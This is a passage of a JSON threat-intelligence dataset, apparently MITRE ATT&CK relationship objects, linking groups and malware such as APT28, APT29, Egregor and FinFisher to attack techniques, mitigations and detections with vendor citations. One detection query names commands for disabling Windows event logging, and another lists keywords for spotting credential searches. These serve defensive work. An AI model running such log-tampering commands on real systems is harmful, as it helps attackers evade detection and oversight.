"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--9e2b7623-69e9-4c03-a4da-df281e99f663", "created": "2022-04-15T15:38:27.577Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "CrowdStrike AQUATIC PANDA December 2021", "url": "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", "description": "Wiley, B. et al. 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Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Ember Bear](https://attack.mitre.org/groups/G1003) has used JavaScript to execute malicious code on a victim's machine.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "modified": "2022-06-09T15:30:04.963Z", "relationship_type": "uses", "source_ref": "intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9e70e248-2335-45ba-ae58-b162bc6b9bf4", "type": "relationship", "created": "2021-09-08T13:44:48.748Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Transparent Tribe August 2020", "url": "https://securelist.com/transparent-tribe-part-1/98127/", "description": "Dedola, G. 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(2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", "source_name": "ESET Sednit Part 3"}], "modified": "2019-09-09T17:44:35.005Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has deployed a bootkit along with [Downdelph](https://attack.mitre.org/software/S0134) to ensure its persistence on the victim. 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Retrieved December 6, 2022.", "url": "https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-23T22:20:29.115Z", "description": "[Woody RAT](https://attack.mitre.org/software/S1065) has been delivered via malicious Word documents and archive files.(Citation: MalwareBytes WoodyRAT Aug 2022)", "relationship_type": "uses", "source_ref": "malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9e93d680-0e33-4577-97f6-da4e53f8ab78", "type": "relationship", "created": "2020-03-25T22:32:16.738Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-24T19:08:57.227Z", "description": "Restrict read/write access to system-level process files to only select privileged users who have a legitimate need to manage system services.", "relationship_type": "mitigates", "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", "target_ref": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9e9b9874-f853-4945-9389-54174c2a7bfc", "type": "relationship", "created": "2020-08-10T14:43:04.551Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SentinelOne Lazarus macOS July 2020", "url": "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", "description": "Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple\u2019s macOS Platform. Retrieved August 7, 2020."}], "modified": "2020-08-10T14:43:04.551Z", "description": "[Cryptoistic](https://attack.mitre.org/software/S0498) can scan a directory to identify files for deletion.(Citation: SentinelOne Lazarus macOS July 2020)", "relationship_type": "uses", "source_ref": "malware--a04d9a4c-bb52-40bf-98ec-e350c2d6a862", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--9e9daac0-86ce-493f-a1b4-6c4e9d0e39ff", "created": "2022-04-07T15:18:08.547Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Uptycs Warzone UAC Bypass November 2020", "url": "https://www.uptycs.com/blog/warzone-rat-comes-with-uac-bypass-technique", "description": "Mohanta, A. (2020, November 25). Warzone RAT comes with UAC bypass technique. Retrieved April 7, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[WarzoneRAT](https://attack.mitre.org/software/S0670) can use a variety of API calls on a compromised host.(Citation: Uptycs Warzone UAC Bypass November 2020)", "modified": "2022-04-07T15:18:08.547Z", "relationship_type": "uses", "source_ref": "malware--fde19a18-e502-467f-be14-58c71b4e7f4b", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9ea25bfb-3e3a-42cb-8d2a-939169057806", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto CVE-2015-3113 July 2015", "description": "Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"}], "modified": "2020-03-18T20:44:39.372Z", "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) has a command to list all servers in the domain, as well as one to locate domain controllers on a domain.(Citation: Palo Alto CVE-2015-3113 July 2015)", "relationship_type": "uses", "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9ea7df8f-3720-4153-8090-4f1a18ecefac", "type": "relationship", "created": "2021-07-02T15:57:45.256Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender Naikon April 2021", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", "description": "Vrabie, V. (2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}], "modified": "2021-07-02T15:57:45.256Z", "description": "[Nebulae](https://attack.mitre.org/software/S0630) can create a service to establish persistence.(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9eaaffb7-4dc4-4aac-a1d5-675b71e587df", "type": "relationship", "created": "2019-07-17T21:15:42.971Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-08-19T16:57:27.396Z", "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems.", "relationship_type": "mitigates", "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9eaf89d5-01aa-4758-a2a9-abac83d2a17e", "type": "relationship", "created": "2020-12-29T22:21:11.445Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cyble Egregor Oct 2020", "url": "https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/", "description": "Cybleinc. (2020, October 31). Egregor Ransomware \u2013 A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020."}], "modified": "2020-12-29T22:21:11.445Z", "description": "[Egregor](https://attack.mitre.org/software/S0554) has used DLL side-loading to execute its payload.(Citation: Cyble Egregor Oct 2020) ", "relationship_type": "uses", "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9eb64003-16d8-4b2d-b5e5-206130e5dd17", "type": "relationship", "created": "2021-01-28T15:42:43.446Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ATT Sidewinder January 2021", "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."}], "modified": "2021-04-07T15:19:28.762Z", "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has used malware to collect information on network interfaces, including the MAC address.(Citation: ATT Sidewinder January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9eb8df35-0cbf-490e-903a-f610a1387eb2", "created": "2023-03-26T15:22:32.052Z", "revoked": false, "external_references": [{"source_name": "Volexity SolarWinds", "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.", "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T15:22:32.052Z", "description": "During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) staged data and files in password-protected archives on a victim's OWA server.(Citation: Volexity SolarWinds)", "relationship_type": "uses", "source_ref": "campaign--808d6b30-df4e-4341-8248-724da4bac650", "target_ref": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9ebbabdc-0468-43f0-a15d-c13c584dd180", "created": "2022-03-30T14:26:51.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T14:47:58.714Z", "description": "Monitor newly executed processes that may disable Windows event logging to limit data that can be leveraged for detections and audits.\n\nAnalytic 1 - Disable Windows Event Logging\n\n<code> (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"WinEventLog:Security\" EventCode=\"4688\") \n\t((CommandLine=\"*New-Item*\" OR CommandLine=\"*reg add*\") CommandLine=\"*MiniNt*\")\n\tOR \n\t(CommandLine=\"*Stop-Service*\" CommandLine=\"*EventLog*\")\n\tOR \n\t(CommandLine=\"*EventLog*\" (CommandLine=\"*Set-Service*\" OR CommandLine=\"*reg add*\" OR CommandLine=\"*Set-ItemProperty*\" OR CommandLine=\"*New-ItemProperty*\" OR CommandLine=\"*sc config*\")) \n\tOR \n\t(CommandLine=\"*auditpol*\" (CommandLine=\"*/set*\" OR CommandLine=\"*/clear*\" OR CommandLine=\"*/revove*\")) \n\tOR \n\t(CommandLine=\"*wevtutil*\" (CommandLine=\"*sl*\" OR CommandLine=\"*set-log*\"))</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9ebc2d8a-a945-4b5d-805f-56e16bcc6676", "created": "2019-09-23T23:08:25.395Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT41 Aug 2019", "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:27:10.535Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) deployed a Monero cryptocurrency mining tool in a victim\u2019s environment.(Citation: FireEye APT41 Aug 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9ec20e7b-8996-4f16-b830-1f8a0e99b778", "type": "relationship", "created": "2020-05-12T21:56:33.019Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FOX-IT May 2016 Mofang", "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}], "modified": "2020-05-27T23:35:41.400Z", "description": "[ShimRat](https://attack.mitre.org/software/S0444) has installed shim databases in the <code>AppPatch</code> folder.(Citation: FOX-IT May 2016 Mofang)", "relationship_type": "uses", "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403", "target_ref": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9ed1920b-595b-40ae-954c-1b4769eac07e", "type": "relationship", "created": "2022-03-25T17:14:59.092Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NTT Security Flagpro new December 2021", "url": "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech", "description": "Hada, H. (2021, December 28).  Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}], "modified": "2022-03-25T17:14:59.092Z", "description": "[Flagpro](https://attack.mitre.org/software/S0696) has exfiltrated data to the C2 server.(Citation: NTT Security Flagpro new December 2021) ", "relationship_type": "uses", "source_ref": "malware--592260fb-dd5c-4a30-8d99-106a0485be0d", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--9ed53038-8320-4b6c-bbf3-764c68df8342", "created": "2022-03-30T14:26:51.840Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor executed commands and arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.", "modified": "2022-04-20T00:34:09.375Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9ed66c72-199a-47d7-8bdd-95c34a370d33", "created": "2024-02-21T19:28:46.239Z", "revoked": false, "external_references": [{"source_name": "BushidoToken Akira 2023", "description": "Will Thomas. (2023, September 15). Tracking Adversaries: Akira, another descendent of Conti. Retrieved February 21, 2024.", "url": "https://blog.bushidotoken.net/2023/09/tracking-adversaries-akira-another.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-21T19:28:46.239Z", "description": "[Akira](https://attack.mitre.org/groups/G1024) encrypts files in victim environments as part of ransomware operations.(Citation: BushidoToken Akira 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--46bb06cb-f2d9-4b37-8c92-a27e224ad90d", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9ed7e90a-8034-48eb-8444-9ec29941a7b8", "type": "relationship", "created": "2021-04-20T03:36:35.464Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Volexity Ocean Lotus November 2020", "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."}], "modified": "2021-04-20T03:36:35.464Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) has hosted malicious payloads in Dropbox, Amazon S3, and Google Drive for use during targeting.(Citation: Volexity Ocean Lotus November 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9edfa8b5-2e9f-4022-93b2-fd819156fe95", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft BITSAdmin", "description": "Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.", "url": "https://msdn.microsoft.com/library/aa362813.aspx"}], "modified": "2019-10-07T18:49:09.864Z", "description": "[BITSAdmin](https://attack.mitre.org/software/S0190) can be used to create [BITS Jobs](https://attack.mitre.org/techniques/T1197) to upload and/or download files.(Citation: Microsoft BITSAdmin)", "relationship_type": "uses", "source_ref": "tool--64764dc6-a032-495f-8250-1e4c06bdc163", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9ee064f9-05bc-4b9e-ad95-d1ae4f1c048a", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.finfisher.com/FinFisher/index.html", "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", "source_name": "FinFisher Citation"}, {"url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/", "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", "source_name": "Microsoft FinFisher March 2018"}], "modified": "2019-08-12T17:30:07.405Z", "description": "[FinFisher](https://attack.mitre.org/software/S0182) creates a new Windows service with the malicious executable for persistence.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)", "relationship_type": "uses", "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9ee0e760-3084-4341-b1c3-3f50a0506595", "type": "relationship", "created": "2019-06-20T14:52:45.182Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html", "source_name": "FireEye HAWKBALL Jun 2019"}], "modified": "2020-03-30T02:56:05.774Z", "description": "[HAWKBALL](https://attack.mitre.org/software/S0391) has encrypted data with XOR before sending it over the C2 channel.(Citation: FireEye HAWKBALL Jun 2019)", "relationship_type": "uses", "source_ref": "malware--12a7450d-b03e-4990-a5b8-b405ab9c803b", "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9ee16333-0c70-4d8a-8fc7-ab81e4fe389a", "type": "relationship", "created": "2021-06-11T17:02:07.720Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Kimsuky June 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}], "modified": "2021-06-11T17:02:07.720Z", "description": "[AppleSeed](https://attack.mitre.org/software/S0622) can exfiltrate files via the C2 channel.(Citation: Malwarebytes Kimsuky June 2021)", "relationship_type": "uses", "source_ref": "malware--295721d2-ee20-4fa3-ade3-37f4146b4570", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9ee2a9f3-9174-4927-8561-56d5c6723b9e", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", "source_name": "FireEye APT33 Sept 2017"}], "modified": "2019-05-14T19:15:24.371Z", "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of gathering system information.(Citation: FireEye APT33 Sept 2017)", "relationship_type": "uses", "source_ref": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9ee385ef-7e78-47bf-be25-8ba112f9280e", "type": "relationship", "created": "2020-06-01T14:41:54.724Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint TA505 October 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}], "modified": "2020-06-16T16:43:36.140Z", "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to identify the user on a compromised host.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "source_ref": "malware--92b03a94-7147-4952-9d5a-b4d24da7487c", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9ee6eb40-881c-4928-a036-58a8df0e8f95", "created": "2023-09-18T19:30:39.800Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender Sardonic Aug 2021", "description": "Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-03T16:39:57.265Z", "description": "[Sardonic](https://attack.mitre.org/software/S1085) has the ability to connect with actor-controlled C2 servers using a custom binary protocol over port 443.(Citation: Bitdefender Sardonic Aug 2021)", "relationship_type": "uses", "source_ref": "malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb", "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9ee893d7-f87e-4d2e-a440-4ba9cb3a3561", "created": "2023-02-09T18:39:10.402Z", "revoked": false, "external_references": [{"source_name": "Palo Alto Brute Ratel July 2022", "description": "Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.", "url": "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-09T18:39:10.402Z", "description": "[Brute Ratel C4](https://attack.mitre.org/software/S1063) can conduct port scanning against targeted systems.(Citation: Palo Alto Brute Ratel July 2022)", "relationship_type": "uses", "source_ref": "tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5", "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": 